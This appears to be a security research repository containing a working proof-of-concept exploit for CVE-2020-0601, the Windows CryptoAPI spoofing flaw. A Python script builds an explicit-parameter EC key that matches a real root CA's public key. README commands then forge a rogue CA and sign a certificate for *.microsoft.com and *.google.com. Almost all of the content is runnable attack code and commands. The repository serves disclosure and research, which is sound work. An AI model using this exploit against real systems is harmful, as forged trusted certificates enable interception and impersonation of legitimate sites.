Repository: kudelskisecurity/chainoffools Branch: master Commit: f958c34fbe7c Files: 5 Total size: 4.3 KB Directory structure: gitextract_lb0vfptj/ ├── README.md ├── ca.cnf ├── gen-key.py ├── openssl.cnf └── requirements.txt ================================================ FILE CONTENTS ================================================ ================================================ FILE: README.md ================================================ # CryptoAPI CVE-2020-0601: Windows CryptoAPI Spoofing Vulnerability exploitation. More information in our [blog post](https://research.kudelskisecurity.com/2020/01/15/cve-2020-0601-the-chainoffools-attack-explained-with-poc). # Install requirements ```bash pip install -U -r requirements.txt ``` The certificate generation works with OpenSSL verion up to [1.0.2u](https://github.com/openssl/openssl/releases/tag/OpenSSL_1_0_2u). # CA certificate We used the [USERTrust ECC Certification Authority](http://www.tbs-x509.com/USERTrustECCCertificationAuthority.crt) but it can be any root certificate working on P-384 curve. To generate a private key which match the public key from the root certificate we used the script **gen-key.py** (works with Python 3.6 and above): ```bash $ ./gen-key.py RootCert.pem ``` The key can be displayed with: ```bash $ openssl ec -in p384-key-rogue.pem -text ``` Then to generate the rogue CA: ```bash $ openssl req -key p384-key-rogue.pem -new -out ca-rogue.pem -x509 -config ca.cnf -days 500 ``` Then we generate the following private key and certificate: ```bash openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf ``` Finally to have the complete chain in a single file we concatenate the CA and the server certificates: ```bash cat client-cert.pem ca-rogue.pem > cert.pem ``` ================================================ FILE: ca.cnf ================================================ [ req ] prompt = no distinguished_name = req_distinguished_name [ req_distinguished_name ] C = CH ST = Vaud L = Lausanne O = Kudelski Security PoC OU = Research Team CN = github.com ================================================ FILE: gen-key.py ================================================ #!/usr/bin/env python import gmpy2 import sys from fastecdsa.curve import P384 from fastecdsa.point import Point from Crypto.Util.asn1 import DerSequence, DerOctetString, DerBitString, DerObjectId from Crypto.IO import PEM from Crypto.PublicKey import ECC from binascii import hexlify def generate_privkey(d, generator): """ Generate a private key with explicit parameters. """ modulus_bytes = 48 a = P384.a % P384.p public_key = d * generator generator = (b'\x04' + generator.x.to_bytes(modulus_bytes, "big") + generator.y.to_bytes(modulus_bytes, "big")) public_key = (b'\x04' + public_key.x.to_bytes(modulus_bytes, "big") + public_key.y.to_bytes(modulus_bytes, "big")) field_parameters = DerSequence([DerObjectId("1.2.840.10045.1.1"), P384.p]) parameters = [DerSequence([1, field_parameters, DerSequence([ DerOctetString(a.to_bytes(modulus_bytes, "big")), DerOctetString(P384.b.to_bytes(modulus_bytes, "big"))]), DerOctetString(generator), P384.q, 1 ])] seq = [1, DerOctetString(d.to_bytes(modulus_bytes, "big")), DerSequence(parameters, implicit=0), DerBitString(public_key, explicit=1)] return seq if __name__ == "__main__": if len(sys.argv) != 2: print("Usage " + sys.argv[0] + " root-certificate.pem") sys.exit() # Public key extraction cert = open(sys.argv[1], "r") pubkey = ECC.import_key(cert.read()) cert.close() nb_bytes = pubkey.pointQ.size_in_bytes() if pubkey.curve != "NIST P-384": print("Public key must be on P-384 curve") sys.exit() Q = Point(int(pubkey.pointQ.x), int(pubkey.pointQ.y), curve=P384) # Generate rogue generator # we take the private key as being 2 privkey = int(gmpy2.invert(2, P384.q)) # we multiply our public key Q with the inverse of our chosen private key value rogueG = 2 * Q der = DerSequence(generate_privkey(privkey, rogueG)) # Generate new file f = open('p384-key-rogue.pem','w') keyfile = PEM.encode(der.encode(), 'EC PRIVATE KEY') f.write(keyfile) f.close() ================================================ FILE: openssl.cnf ================================================ [ req ] prompt = no distinguished_name = req_distinguished_name x509_extensions = v3_req [ req_distinguished_name ] C = CH ST = Vaud L = Lausanne O = Kudelski Security CN = NorthSec 2023 [v3_req] subjectAltName = @alt_names [alt_names] DNS.1 = *.kudelskisecurity.com DNS.2 = *.microsoft.com DNS.3 = *.google.com DNS.4 = *.ktp.dev ================================================ FILE: requirements.txt ================================================ gmpy2 fastecdsa